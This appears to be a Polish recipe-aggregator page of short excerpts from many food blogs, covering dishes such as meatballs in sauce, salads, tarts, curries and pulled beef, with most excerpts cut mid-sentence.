solą , Gotować na małym ogniu, aż mięso będzie miękkie. Jak płyn wyparuje, podlać wodą. Można zagęścić mąką ziemniaczaną rozmieszaną w małej ilości wody i powoli dodanej do gotującego się sosu. Podawać z ryżem, kaszą lub ziemniakami. Smacznego

Kuchnia Pokoleń
Pulpeciki wieprzowo - cielęce po królewsku. 241

cedzakową na talerz.  W jednej szklance wody rozmieszać około 2  łyżeczki mąki ziemniaczanej i wlać do wywaru w którym gotowały się pulpety, energicznie zamieszać i zagotować. Do sosu można dodać 2 łyżki słodkiej śmietanki ale nie koniecznie. Na samym końcu przyprawić jeszcze do smaku solą lub pieprzem. Podawać z ziemniakami lub kluskami śląskimi.Jako dodatek podałam patisony firmy

Sama słodycz i szczypta chili
Schab ze śliwką w koperkowej marynacie. 193

polewamy nim schab. Tak przygotowane mięso pieczemy w nagrzanym do 200 stopni piekarniku przez ok. 1,5 godziny.  Z pozostałej wody z tłuszczem możemy zrobić bardzo pyszny sos - przelewamy zawartość naczynia na patelnię, podgrzewając na małym ogniu i cały czas mieszając dodajemy 1 łyżeczkę mąki. Podajemy z młodymi ziemniaczkami (lub poza sezonem z kluskami śląskimi) i surówką. Smacznego

Moje-pitraszenie
Szaszłyki z kurczaka w marynacie jogurtowej. 165

sposób obtaczałam w pokruszonych krakersach i zapiekałam. Tym razem postanowiłam zrobić szaszłyki. Kawałki kurczaka przekładałam na przemian z cukinią, papryką i porem. Podawałam z pieczonymi ziemniakami i marchewką oraz sosem czosnkowym. I taki oto obiad zaserwowałam moim chłopakom po powrocie z wycieczki rowerowej. Byli zadowoleni :) Składniki: 300 g piersi z kurczaka 1 papryka czerwona 1 por (tylko biała i jasnozielona

zadanie-gotowanie
Sałatka z rukolą, buraczkiem i mozzarellą 181

rukola Buraczki (małe)pieczemy około godziny , ostudzone, tniemy na plasterki i układamy na wyłożonej wcześniej na talerzu rukoli. Mozzarellę również kroimy na plasterki i układamy na rukoli. Całość polewamy sosem: -1 łyżka soku z cytryny - 4 łyżki oliwy z oliwek lub oleju- - szczypta soli morskiej - świeżo zmielony czarny pieprz - 1 łyżeczka musztardy (dowolnie) SMACZNEGO

WYSPA SZCZĘSLIWA
Dieta na rozgrzewkę czyli co jeść aby zimą zimno nie było 233

ądzanego na słodko.  go ździki lubię, bo kojarzą mi się z dzieciństwem . Nie ma kompotu bez goździków. chili - silnie rozgrzewa więc cz ęsto dodaję do zup i sosów imbir - sama nie przepadam ale ponieważ poprawia krążenie i chroni przed infekcjami od czasu do czasu go sobie podaję. kurkuma - lubią ją moje dzieci bo dzięki niej ryż staje się żółciutki

WYSPA SZCZĘSLIWA
TARTA ZE SZPARAGAMI I RICOTTĄ 267

Szparagi bardzo lubię i staram się wykorzystać ten krótki czas , kiedy można się  nimi cieszyć. Najczęściej jadam je z sosami lub w postaci mojej ulubionej tarty. Ponieważ jestem maniaczką kruchego ciasta , delektuję się każdym kęsem tej zielonej tarty. POTRZEBUJEMY: (na formę około 22,23 cm) CIASTO: 100 g masła zimnego 200 g przesianej mąki 1 jajko lub żółtko szczypta

WYSPA SZCZĘSLIWA
Norweska sałatka ziemniaczana do grilla 6953

Pokroić w kostkę. Koperek drobno posiekać. Majonez wymieszać z jogurtem i musztardą, dodać przeciśnięty przez praskę czosnek, doprawić do smaku solą i pieprzem. Dodać większą część koperku, wymieszać. Dodać sos do ziemniaków, dokładnie wymieszać. Ozdobić pozostałym koperkiem. Schłodzić sałatkę w lodówce. Smacznego!     The post Norweska sałatka ziemniaczana do grilla appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Hiszpańskie Oliwki 155

oraz Bony Sforzy, Polacy mieli szansę poznać zdrowotne walory oraz niezwykłe smaki oliwek oraz szlachetnej oliwy. Pod wpływem śródziemnomorskiej kuchni, złagodzono smak niektórych staropolskich potraw oraz ciężkich i zawiesistych sosów. Wytworne obiady, często kończyły się lodami, tortami, ciastkami z galaretką, czekoladami czy smażonymi kasztanami. Kuchnia na dworze królewskiej pary, obfitowała w ryż, różnego rodzaju korzenie, pieprz, koper, szafran, imbir, gałkę

królestwo garów
Pyszna Pasta na Kanapki z Tuńczykiem 251

tuńczykiem. Pasta jest prosta w przygotowaniu, smaczna i powinna każdemu smakować kto lubi tuńczyka. Do przygotowania pasty będziemy potrzebować: 1 puszka tuńczyka duże kawałki (może być w oleju lub sosie własnym) 4 jajka ugotowane na twardo 200 g serka śmietankowego do chleba 2 łyżki jogurtu naturalnego do smaku: sól, pieprz Link do filmu z przygotowania: Pasta nakanapki z tuńczykiem Przygotowanie

Uwaga Babcia Gotuje
Polpette al sugo 212

salą, pierzem, zeszklić, ułożyć na patelni klosiki, podsmażyć całość, podlać winem, dodać passatę pomidorową, gotować na małym ogniu pod przykryciem 20 minut, kolejne 5 minut bez pokrywki do zgęstnienia sosu. Podawać z makaronem typu spaghetti i chrupiącą świeżą bagietką albo oryginalną ciabattą. Buon appetito

Wino Francja Kuchnia
Kokosowe ciasteczka z serkiem mascarpone 296

autorski (mój). Jak w mojej lodówce bezcelowo stoi serek mascarpone - to znaczy, że wezmę łyżkę i go zjem. Całego nie dam rady, więc co zrobić z resztą? Mógłby być sos do kurczaka, ale... Zresztą ciasteczek nigdy za wiele! Wyszły przepyszne - takie delikatne, chrupiące i oczywiście co najważniejsze - kokosoweee! Zróbcie, a przekonacie się sami, że są idealne do kawy, herbaty

Di gotuje
Pieczone gruszki 127

usunąć gniazda. Żaroodporne naczynie posmarować masłem. Ułożyć w nim owoce i posypać cynamonem. W garnuszku rozpuścić masło dodać miód, 1 łyżeczkę soku z cytryny. Wszystko dokładnie wymieszać.  Polać sosem gruszki, włożyć je do nagrzanego piekarnika 180 stopni na 20 min.  Smacznego

Kukuleczki
Domowa pizza 142

czasu aż ciasto urośnie) Przykryłam ciasto ściereczką. Kiedy ciasto wyrośnie oprószamy ponownie stolnicę mąką  i formujemy ciasto, aby uzyskać jeden duży placek :) Ciasto przekładamy do formy, smarujemy sosem pomidorowym, układamy dodatki. Pieczemy w temp. 200 stopni 5-8 minut. Tak przygotowaną pizze polewam oliwą, M jest tradycjonalistą i preferuje ketchup :)   Dodatki do pizzy  Moja połowa starty

Kukuleczki
Sałatka z pomarańczy i awokado 172

łyżki oliwy, 1 łyżeczka musztardy  Przygotowanie: Pomarańcze,awokado obrałam, pokroiłam w małą kostkę. Dodałam do sałaty razem z orzechami i oliwkami. Składniki z dressingu połączyłam w miseczce. Polałam sosem sałatkę przed podaniem

Kukuleczki
Polędwiczki w sosie śmietanowo grzybowym 140

przyprawy sól, pieprz, tymianek  masło klarowane  1 łyżeczka mąki  Przygotowanie: Namoczyłam grzyby. Następnie gotowałam je na małym ogniu. Po czasie wyjęłam z wywaru, który wykorzystałam do sosu.  Umytą polędwiczkę pokroiłam w plastry o grubości 2 cm, lekko rozbiłam dłonią, doprawiłam solą, pieprzem i tymiankiem. Mięso wraz z posiekaną cebulą i grzybami obsmażyłam z obu stron. Polędwiczki

Kukuleczki
Smażone krewetki 142

uzyskania złotawego koloru. Wyjmij krewetki.  Na tym samym oleju podsmaż połówki pomidorków oraz słonecznik całość zalej winem.Wsyp mieszankę przypraw według uznania. Na sam koniec dodaj masło, aby zagęścić sos. Tak przygotowane krewetki wspaniale smakują z grzanką

Kukuleczki
SAŁATKA ZE SZPINAKU 134

łyżki miodu 1 ząbek czosnku  2 łyżki ulubionej musztardy ( ja użyłam kremskiej)  szczypta pieprzu  Wymieszaj dokładnie wszystkie składniki, dodaj przeciśnięty przez praskę ząbek czosnku. Sos polej na wierzch sałatki. Jeżeli wolisz ostrzejszy smak użyj musztardy dijon

Kukuleczki
PIECZONE KASZTANY 141

Pieczone kasztany smakiem przypominają słodką odmianę ziemniaka. Najlepiej smakują jeszcze ciepłe.  Można moczyć je w miodowo-cynamonowym sosie. Jednak same w sobie są słodkie.  Przygotowanie Umyj kasztany w ciepłej wodzie, następnie osusz je. Natnij nożem po skosie, tak aby powstał X Przełóż na blachę do pieczenia i wstaw do nagrzanego piekarnika do 200 C na 20 minut

Kukuleczki
TARTA FRANCUSKA ZE SZPINAKIEM, FETĄ I SUSZONYMI POMIDORAMI 128

miski włóż pokruszoną fetę, pokrojone suszone pomidory, dodaj przyprawy i wymieszaj. Wyłóż formę do tarty ciastem francuskim, zrób kilka małych dziurek np wykałaczką. Na cisto wyłóż nadzienie i polej sosem jajeczny.  Wstaw do piekarnika na około 20-25 minut

Kukuleczki
KLUSKI ŚLĄSKIE 132

formuj z ciasta kuleczki wielkości orzecha włoskiego,lekko spłaszcz, zrób dołek.  Oprósz mąką.  Kluski gotuj 1-2 minuty, po ich wypłynięciu. Podawaj z ulubionym sosem

Kukuleczki
KACZKA PIECZONA Z JABŁKAMI 142

ułóż w naczyniu żaroodpornym.  Wstaw do piekarnika pod przykryciem, następnie zwiększ temperaturę do 200 - 210 stopni i piecz 1,5- 2 godzin, co jakiś czas polewaj kaczkę wytworzonym sosem. 30 minut przed zakończeniem pieczenia odkryj naczynie

Kukuleczki
WEGETARIAŃSKIE BURGERY 225

rezultacie powstał pyszny wegetariański burger.  Mam nadzieję, że Tobie również posmakuje.  Składniki na kotlety 1,5 szklanki ugotowanej kaszy jaglanej 2 marchewki 1 pietruszka 2 łyżki sosu sojowego 1/4 szklanki oleju 1/4 szklanki uprażonego sezamu 1.4 szklanki uprażonych pestek z słonecznika  1/2 czerwonej cebuli 1 łyżeczka posiekanej pietruszki  2-3 łyżki mąki 1/2 bułki tartej

Kukuleczki
Curry z ciecierzycą i warzywami (wegańskie) 202

pęczek kolendry -200 ml mleczka kokosowego -1 łyżka papryki słodkiej -1 łyżka curry -1 łyżka kurkumy -1 łyżeczka kuminu (mielony kmin rzymski) -1 łyżeczka chilli (opcjonalnie) -2 łyżki sosu sojowego -sól i pieprz do smaku -szklanka wody Do podania ryż. Wykonanie: Ciecierzycę namoczyć przez noc w zimnej wodzie. Następnie gotować przez 1,5 godziny, w wodzie, w ilości

Smakuj życie!
Placuszki z parówką 191

Placuszki z parówką są idealne na śniadanie lub kolację. Najlepsze z dodatkiem keczupu lub sosu czosnkowego. Moje dziecko je uwielbia:) Składniki: 2 jajka 2 czubate łyżki mąki parówka olej do smażenia Sposób przygotowania: Jajka roztrzepać, dodać mąkę i dalej mieszać do uzyskania gładkiej masy. Dodać parówkę i wymieszać. Smażyć na oleju na złoty kolor, po usmażeniu odsączyć na ręczniku papierowym

Cukiernia Pychotki
chrupiące placki cukiniowo-ziemniaczane z mąką bio gorczycową i z sosem jogurtowym... 227

oleju smażyć nieduże porcje placków na rumiany kolor, odkładać na ręcznik papierowy jogurt wymieszać z pokrojoną drobno rzodkiewką, szczypiorkiem, do smaku dać soli czosnkowej - placki są bardzo smaczne z sosem jogurtowym i syte na smaczny obiad...............SMACZNEGO

W Mojej Kuchni Lubię
Ryba po węgiersku 160

liść laurowy, doprawić solą, pieprzem i dusić do momentu zredukowania się połowy wody. Przecier pomidorowy wymieszać ze śmietaną i wlać do papryki. Wymieszać i chwilę gotować. Usmażoną rybę zalać sosem i podawać na gorąco. ryba po węgiersku

O kuchni z uczuciem
Francuskie babeczki jajeczne z pieczarkami 457

jako drugie śniadanie do pracy lub szkoły. Babeczki można jeść zarówno na zimno, jak i na ciepło. Świetnie smakują same w sobie, lecz można ich smak wzbogacić np. sosem czosnkowym . (adsbygoogle = window.adsbygoogle || []).push({}); Francuskie babeczki jajeczne z pieczarkami – Składniki: ok. 300g ciasta francuskiego 500g pieczarek olej do smażenia 3 jajka 250ml śmietany kremówki pęczek koperku mały pęczek szczypiorku pieprz

Kulinarne Przeboje
Koreańska zupa z owocami morza (Jjamppong Jjambbong Jjampong) 337

Od jakiegoś czasu co chwila w internecie natykaliśmy się na koreańską zupę z owocami morza. I jakoś tak cały czas mieliśmy ją z tyłu głowy. Spotykaliśmy

slodkokwasnapl
GOŁĄBKI Z KASZĄ JAGLANĄ 229

żaroodpornego wykładamy liśćmi kapusty. Gołąbki układamy w naczyniu i podlewamy trochę wody. Przykrywamy pokrywą i wstawiamy do nagrzanego do 180 stopni piekarnika na 45-60 min. Możemy podać z sosem pomidorowym lub grzybowym. Smacznego ! Artykuł GOŁĄBKI Z KASZĄ JAGLANĄ pochodzi z serwisu MARKOWYSMAK.COM

Markowy smak
WIOSENNA SURÓWKA Z NOWALIJEK I SOCZEWICY 180

cukru 2 łyżki wody 1/4 łyżeczki bazylii 1/4 łyżeczki oregano sól i pieprz do smaku Wykonanie: Pomidora, rzodkiewki i ogórka drobno kroimy, dodajemy pekinkę, soczewicę. Z podanych składników przygotowujemy sos, polewamy sałatkę

Z Majeczką w kuchni
Co Lila jadła w środę? 5 175

potrzebny jest jakiś specjalny sprzęt. W iesz jaki? zdradzę Ci -  patelnia ) to często robimy tortille. Tym razem jedliśmy po meksykańsku, czyli mięso mielone, czerwona fasola, kukurydza, sos pomidorowy i duuuuuuużo pietruchy. Takie nasze smaki. Lila zjadła 2 sztuki.  Podwieczorek Chipsy z jarmużu. Kolacja Ze względu na to, że jarmużu mieliśmy w tym dniu bardzo dużo

lady-och-mistrzyni.blogspot.com
Tajskie zielone curry z kurczakiem i warzywami 344

Jeżeli lubicie tajską kuchnię to to danie jest właśnie dla Was – lekkie i bardzo pyszne – zielone curry z kurczakiem i warzywami

Kuchenne Wariacje
,, Pieczarki w cieście naleśnikowym” 424

następnie zanurzamy w ciście, delikatnie wkładamy do garnka z rozgrzanym olejem. Smażymy z dwóch stron na złoty kolor. Gotowe układamy na papierowym ręczniku aby ociekły z tłuszczu. Podajemy z sosem słodko- ostrym. Smacznego

Podróż w kulinaria
Oszczędzanie przez gotowanie- 20 sprawdzonych trików jak zaoszczędzić na jedzeniu 175

powodzeniem hodować przez cały rok. 9. Nie bój się sklepowych marek!-  Wiele osób myśli, że smakują inaczej albo są gorsze gatunkowo. Często okazuje się wręcz przeciwnie! 10. Gotowe sosy, dipy- naucz się przyrządzać je samemu. Gotowe są drogie i często zawierają wiele zbędnych konserwantów. 11. Suchy chleb, bułki- nie wyrzucaj ich, lecz wykorzystuj np. jako bułka tarta, grzanki

Tradycyjna Kuchnia
Co Lila jadła w środę? 2 230

zupka ostatnio to taka  bzium bzium czyli krem :) Lilcia zażyczyła sobie pestki z dyni więc każdemu wsypała do miseczki. II Danie Tortilla z warzywami i indykiem. Sos - jogurt naturalny, czosnek, pietruszka. Do tej pory nie mogę uwierzyć, że kiedyś kupowaliśmy gotowe placki. Robiąc ten obiad, stwierdziłam, że OK - sobie kupimy, ale Lilce muszę coś wymyślić

lady-och-mistrzyni.blogspot.com
Co Lila jadła w środę? 4 186

Garść suszonych owoców i jabłko. Lilcia po tych dwóch miseczkach owsianki nie miała ochoty na dużą przekąskę. Zupa Barszcz czerwony, 2 miseczki to standard. II Danie Mix sałat z sosem (olej lniany, sok z cytryny, odrobina miodu i zioła), jajko i kasza kuskus. Lekkie i pyszne danie (nie mieliśmy ochoty na długie gotowanie). Wszystko zniknęło z tego talerzyka

lady-och-mistrzyni.blogspot.com
Pierożki schabowe z mozzarellą i suszonymi pomidorami 270

pierożki panierować w jajku i bułce tartej. Smażyć na średnim ogniu z obu stron na złoty kolor. Podawać z ulubionymi dodatkami, u mnie ziemniaczki z koperkiem i surówka z sosem koperkowym

Monia miesza i gotuje
Pierożki „Pałki” na głębokim tłuszczu z kurczakiem 387

Wyśmienicie smakuje w towarzystwie warzyw i ziemniaków na tradycyjnych talerzu obiadowym, ale również świetnie sprawdza się jako przystawka podana z różnymi sosami. Składniki: 3 pojedyncze filety z kurczaka 4 szklanki wody 2 ząbki czosnku 2 kostki drobiowe 3 szklanki mąki 25 dag żółtego sera 2 jajka sól i pieprz do smaku bułka tarta do panierki tłuszcz do głębokiego smażenia Wykonanie

Tradycyjna Kuchnia
Rzodkiewki na maśle, na ciepło 172

szczypior, solimy, pieprzymy, jeszcze raz dokładnie mieszamy i rozkładamy porcje na talerze, polewając rzodkiewki rozpuszczonym masełkiem. Na wierzch nakładamy po jednym przepołowionym jajku, obok – chrupiące grzanki do wyciągania maślanego sosu. Dla wzbogacenia można do smażenia dodać na samym początku przeciśnięty przez praskę ząbek czosnku lub wysmażyć na chrupiąco kilka plasterków bekonu – z bekonem i czosnkiem wszystko smakuje jeszcze lepiej! SKŁADNIKI

Karo in the Kitchen
40 przepisów z nowalijkami 212

ziemniaczki z szynką, pomidorami, cebulą i jajkami podane na patelni Pomidorowa sałatka ze szpinakiem, młodą kapustą i oliwkami Surówka z młodej kapusty z truskawkami Botwinka z cukinią w delikatnym sosie   Chrupiąca sałatka z białej kapusty z koperkiem Zgrzewane kanapki z liśćmi botwinki Koktajl pietruszkowy Cukinia zapiekana z pomidorową passatą Pappardelle w pomidorach z orzechami włoskimi Pełnoziarnista kanapka z jajkiem

Moja smaczna kuchnia
Szpinakowe naleśniki z ryżem waniliowym na musie truskawkowym 183

ryżu. W pierwszej fazie konkursu dodałam trzy, z przepis na pikantne risotto z dynią i rodzynkami tak się spodobało, że dostałam skrzynkę pełną ryżu Uncle Ben's i gotowych sosów. O książce z autografem Josepha i fajnych gadżetach do kuchni nie wspomnę. Konkurs jednak trwa, więc dodaje kolejny przepis. Tym razem w roli głównej, obok ryżu pełnoziarnistego, świeży szpinak

Codzienna kuchnia niecodzienna
Chińskie z zielonym makaronem 351

Składniki 1 filet z kurczaka 1 czerwona papryka 1 garść grzybów mun 1/4 główki białej kapusty 150 g makaronu ryżowego 1/2 łyżki mąki ziemniaczanej 1 papryczka chili 1 łyżka sosu … Czytaj dalej Chińskie z zielonym makaronem

czarrna od kuchni
Dip czosnkowy 164

Dip czosnkowy to idealny dodatek do każdego rodzaju mięsa: do pałeczek kurczaka, skrzydełak, kiełbas a nawet szaszłyków. Do mięs podawanych na ciepło jak i na zimno

Magiczny Garnek
Surówka z kalarepy 212

Marchew obrać, umyć i zetrzeć na tarce o drobnych oczkach. Paprykę umyć, usunąć gniazda nasienne i pokroić w cienkie paseczki. Rzodkiewki oczyścić, umyć i pokroić w półplasterki.. Przygotować sos: do szklanki wlać sok z cytryny, olej miód, dodać sól i pieprz, dokładnie wymieszać i polać tym surówkę, dobrze razem wszystko wymieszać. Wstawić na 30 min do lodówki

Camilla w kuchni
Krem z pomidorów na winie z szarpaną wołowiną 161

umieszczam w nim naczynie. Mięso piekę przez 8 godzin, co jakiś czas dolewam bulionu i obracam mięso. Po upieczeniu mięso z łatwością powinno dzielić się na włókna. Pozostały sos mieszam z mięsem, by nie było zbyt suche. W garnku rozgrzewam oliwę z oliwek i smażę na niej posiekaną cebulę i czosnek. Dodaję pokrojoną marchewkę i ziemniaka. Całość smażę

Mango Papaja
CZEKOLADOWE PANCAKES Z BANANAMI I ORZECHAMI 267

CZEKOLADOWE PANCAKES polane sosem czekoladowym, z dodatkiem bananów i chrupiących... Artykuł CZEKOLADOWE PANCAKES Z BANANAMI I ORZECHAMI pochodzi z serwisu CookMagazine

COOKMAGAZINE
Sałatka marokańska. 188

przekładamy do miski. Kromimy pomidory. Kroimy ser. Myjemy i odsączamy liście sałaty. Następnie kroimy je w paseczki. Wkładamy wszystko razem do miski. Wyciskamy sok z cytryny. Przygotowujemy sos winegret: oliwa z oliwek, sok z cytryny, pieprz. Skrapiamy nim naszą sałatkę. Ewentualnie jeszcze doprawiamy do smaku. Smacznego Pozdrawiam serdecznie Beata Sałatka meksykańska Sałatka z ciecierzycy Tabouleth Sałatka komosa ryżowa - awokado Sałatka

MODA NA BIO
Zielone kotlety ze szpinakiem i kaszą jaglaną (bezglutenowe) 327

cebula 2-3 łyżki mąki kukurydzianej + ok. 2-3 łyżki na panierkę (można tez użyć mąki z cieciorki) 1/2 szklanki ugotowanej ciecierzycy lub tej z puszki 1,5 łyżki sosu sojowego sól, pieprz Przygotowanie: Kaszę jaglaną przelewamy wrzątkiem, a następnie zimną wodą i wstawiamy do gotowania (1/2 szklanki kaszy zalewamy 1 szklanką wody). Odrobinę solimy i czekamy, aż będzie miękka

Bananowe Pole
Curry z łososia ze szpinakiem 299

Aromatyczny sos z delikatnym ryżem Składniki 400 g łososia 1 szklanka ryży białego 200 g mrożonego szpinaku w brykiecie 1 puszka mleczka kokosowego 1 mała cebulka 2 ząbki czosnku 2 … Czytaj dalej Curry z łososia ze szpinakiem

czarrna od kuchni
Zapiekanka z makaronem, tuńczykiem, szpinakiem i pieczarkami, pod parmezanem 223

jednej osoby  około 500 kcal. - 70 g makaronu suchego pełnoziarnistego - 150 g szpinaku - 5 sztuk pieczarek średnich - 2 łyżki tuńczyka w oleju lub sosie własnym - łyżka masła - sól, gałka muszkatołowa i pieprz do przyprawienia - pół szklanki tartego parmezanu Włącz piekarnik na 180 °C. Wysmaruj naczynie żaroodporne masłem. Ugotuj makaron al dente. Odsącz po ugotowaniu i przełóż do naczynia. Dodaj

Pasje Jolki
NALEŚNIKI ZAPIEKANE Z KASZĄ GRYCZANĄ I TWAROGIEM – pyszne! 295

kaszy gryczanej z cebulką. Podane ze świeżymi ziołami nie tylko cudownie smakują, ale i rewelacyjnie wyglądają! Są świetnym pomysłem na obiad, jak i kolację na ciepło. Podane z ulubionym sosami np. czosnkowym , są świetnym pomysłem na imprezę! Spróbujcie! SKŁADNIKI: ( 4 szt ) NALEŚNIKI: * mąka pszenna – 1 pełna szkl * duże jajko – 1 szt * mleko – 1 szkl * woda gazowana

Ostra na Słodko
Szparagi zapiekane w cieście francuskim 245

posypać ziarnami sezamu i siemienia. Wstawić do piekarnika nagrzanego na 200 C i zapiekać ok 20 minut aż ciasto dobrze się przyrumieni, funkcja termoobieg. Podawać same lub z ulubionym sosem np. czosnkowym

Monia miesza i gotuje
Rolada serowa z pieczarkami i filetem z kurczaka 62901

naczynia żaroodpornego i pieczemy 30 minut w 170'C. 5. Posypujemy odrobiną sera na ostatnie 5 minut i zapiekamy, aż ser zrobi się rumiany. Świetnie smakuje z wszelkiego rodzaju sosami np czosnkowym. Smacznego

Tagebuch po polsku
Pulpeciki mięsno-warzywne w sosie 379

cukinii 1/2 czerwonej papryki 1 kromka czerstwego chleba sól, pieprz słodka papryka, chili świeże zioła, bazylia i oregano mąka pszenna   … Czytaj dalej Pulpeciki mięsno-warzywne w sosie

czarrna od kuchni
Kanapka z pulled beef, pastą z pieczonej papryki, serem i szczypiorkiem 169

umieszczam w nim naczynie. Mięso piekę przez 8 godzin, co jakiś czas dolewam bulionu i obracam mięso. Po upieczeniu mięso z łatwością powinno dzielić się na włókna. Pozostały sos mieszam z mięsem, by nie było zbyt suche. Pasta z papryki: Paprykę myję i osuszam. Umieszczam w piekarniku nagrzanym do 180 stopni i piekę przez 25 minut. Studzę, obieram ze skórki

Mango Papaja
Błyskawiczne piątki - podsumowanie 6.05.2016 r. 219

kołderką z mozzarelli Jajka zapiekane Carpaccio z buraków Pesto z naci marchwi Sałatka ze szparagów białych i zielonych Ryba w zielonej herbacie Pieczona owsianka Makaron z warzywami w pomidorowym sosie Ryż z kurczakiem na zielono Cytrusowa lemoniada z kiwi i natką pietruszki Bardzo dziękuję wszystkim uczestniczkom akcji za smaczne propozycje :) wszystkich chętnych zapraszam do wspólnego gotowania - nie musisz być blogerem

Codzienna kuchnia niecodzienna
ŻEBERKA Z PIECZARKAMI W SOSIE POMIDOROWYM 300

znalazłam jeszcze żeberka więc postanowiłam,że muszę ten niedzielny obiadek zrobić jakiś wyjątkowo pyszny.Powiem Wam nieskromnie,że udało mi się, żeberka wyszły wyśmienite i warte polecenia.Duszone,z pieczarkami w sosie pomidorowym,z lekko wyczuwalną nutką czosnku...no po prostu rewelacja.Polecam Wam mój przepis,który urodził się głowie w trakcie gotowania. Składniki:   50 dag żeberek wieprzowych 20 dag pieczarek

Niespełnione zdolności kulinarne
Praca, słońce i lody, czyli krótka historia ciszy na blogu 191

Kremówkę wymieszać z jogurtem i cukrem pudrem, przelać do maszyny do lodów. Gdy maszyna skończy pracę, przełożyć lody do plastikowego pojemnika. Dodać pokruszone ciasteczka, wymieszać. Dodać truskawki wraz z sosem, delikatnie wymieszać, tworząc efekt marmurka. Zamrozić. Smacznego! Do lodów dodałam kruchych ciastek z mąki ryżowej; chrupią wprost fantastycznie! Oczywiście, możecie dodać swoich ulubionych, nawet kupnych (co przy upałach może być

Pożeraczka, czyli raz adobrze
gulasz z szynki "po węgiersku" z kaszą gryczaną... 194

mięsa wsypać warzywa mrożone zestaw węgierski, dodać kucharka, pieprz mielony, przyprawę w płynie i dusić pod przykryciem z 15 minut śmietanę wymieszać z wodą i mąką i wlać do sosu mieszając do zagęstnienia, wsypać posiekany koperek podać z ugotowaną kaszą gryczaną i np. z duszoną czerwoną kapustą i z zimną maślanką - gulasz jest smaczny i syty..............SMACZNEGO

W Mojej Kuchni Lubię
Apetajzerki makrelowe Graala 238

Dziś następna przekąska z serii Graal. Tym razem głównym dodatkiem będą... Filety z Makreli w sosie pomidorowym:) Powtały z nich całkiem wykwintne... Apetajzerki Makrelowe Podpiekłam bagietkowe kromeczki i wyłożyłam na nie makrele, które roztarłam na pastę. Jak widzicie położyłam też ogóreczka, który jakże wzbogacił cały smak. Brakowało mi jeszcze listków pietruszki ale niestety nie miałam. Pyszne chrupiące kromeczki z pastą

Ukojenie Podniebienia
Spaghetti z sosem pomidorowym i serem 184

zasmażkę , następnie dodajemy koncentrat i dokładnie łączymy wszystko razem. Doprawiamy do smaku sola, pieprzem, cukrem, majerankiem, oregano i papryczką. Makaron gotujemy wg przepisu na opakowaniu, nakładamy na talerze , polewamy sosem i posypujemy startym żółtym serem

Camilla w kuchni
Pulled beef 170

umieszczam w nim naczynie. Mięso piekę przez 8 godzin, co jakiś czas dolewam bulionu i obracam mięso. Po upieczeniu mięso z łatwością powinno dzielić się na włókna. Pozostały sos mieszam z mięsem, by nie było zbyt suche. Niebawem propozycje na wykorzystanie gotowego pulled beef. Pozdrawiam, Klaudia

Mango Papaja
pyszny gulasz z łopatki z czubricą zieloną, przyprawą harrisa, fasolką szparagową, warzywami... 244

dodać fasolkę zieloną mrożoną, włoszczyznę rozdrobnioną zamrożoną/lub świeżą/, wlać wodę i pod przykryciem dusić do miękkości mięsa z 40 minut śmietanę wymieszać z mąką, wodą i wlać do sosu mieszając do zagęstnienia, do smaku doprawić przyprawą w płynie, podać z kaszą, ziemniakami lub z czym się lubi - gulasz jest aromatyczny, syty..................SMACZNEGO

W Mojej Kuchni Lubię
SZPINAKOWE PLACUSZKI Z BOROWIKAMI – bezglutenowe – BE FIT! 200

Przygotowane z dodatkiem mąki ryżowej oraz nasion lnu, które tak dobrze wpływają na nasz układ trawienny. Można je zajadać solo, albo z ulubionymi dodatkami – świetnie sprawdzi się tutaj sos czosnkowy na bazie jogurtu. Danie lekkie, smaczne, dietetyczne! Polecam! Koniecznie wypróbujcie! SKŁADNIKI: ( ok. 10 szt ) * świeży szpinak – 2 duże garście * nasiona lnu – 1 łyżeczka * jajko

Ostra na Słodko
Restaurant Week Wrocław Wiosna 2016 161

które można zobaczyć na filmie .       W ramach festiwalu wybrałam się również do restauracji PURO Kitchen, gdzie zjadłam przepyszną kolację. Na deser był kwitnący parfait cydrowy z sosem lawendowym, pycha!!!     Zapraszam do obejrzenia filmu z mojego Restaurant Week Wrocław i zachęcam do wzięcia udział w kolejnej edycji festiwalu, który ma być już jesienią. Pozdrawiam serdecznie Natalia

Mała Cukierenka
Smaki kuchni śródziemnomorskiej. Zapraszam do sklepu Smaki Południa 199

kremem mlecznym Ale to jedynie przysłowiowy „wierzchołek góry” smaków, które możecie znaleźć i nabyć w sklepie Smaki Południa . Znajdziecie w nim makarony, ryże, oliwy, słodycze, płatki śniadaniowe, sosy, kawy, herbaty i wiele innych znakomitych produktów, których trudno szukać na półkach pobliskich sklepów. Dzięki Smakom Południa możecie poznać również smak trufli. Warto zajrzeć na stronę firmy i zapoznać się

Słodkie okruszki
Domowe chipsy paprykowe w kilka chwil 258

minut (czas jest uzależniony od rodzaju piekarnika i tego jak bardzo wypieczone chipsy lubimy - ja wolę mniej wypieczone, inny mocniej). Podajemy same lub z ulubionym dipem, ketchupem, sosem. I... chrupiemy. Smacznego By Magdalena beta calories 0 fat 0g protein 0g carbs 0g more Słodkie okruszki http://www.slodkieokruszki.pl

Słodkie okruszki
Sałatka brokułowa z makaronem 161

Smaczna i prosta w przygotowaniu wiosenna sałatka na bazie pełnoziarnistego makaronu i świeżych warzyw. Danie jest lekkie gdyż nie zawiera sosu na bazie majonezu - za dressing wystarczy oliwa z oliwek i przyprawy. Taką sałatkę bez problemu zapakujecie do lunchboxa i zabierzecie do pracy, nie trzeba jej nawet odgrzewać. Podane proporcje wystarczą na dużą porcję (na dwie standardowej wielkości miski

Milion Smaków
Przetwory z czosnku niedźwiedziego 256

świeżych warzyw. Jadalne są liście, łodyżki i kwiaty, które są piękną ozdobą potraw. A do czego można go używać? Praktycznie do wszystkiego – do przygotowania pesto, nalewek, marynat, do zup, sosów, mięs, ryb, farszów, twarogów, jaj, sałatek, masła ziołowego, na kanapki… i nie tylko. Gorąco polecam – na zdrowie. Wydrukuj przepis The post Przetwory z czosnku niedźwiedziego appeared first on Moje Wypieki

mojewypiekiinietylko
Zielony dip ziołowy 242

Idealny do dań z grilla Składniki 1 jogurt naturalny 1-2 łyżki majonezu sól, pieprz 1 garść posiekanych liści bazylii 2 łyżki posiekanego szczypiorku   Sposób przygotowania Wszystkie składniki sosu wymieszać … Czytaj dalej Zielony dip ziołowy

czarrna od kuchni
Makaron z zielonymi szparagami. 284

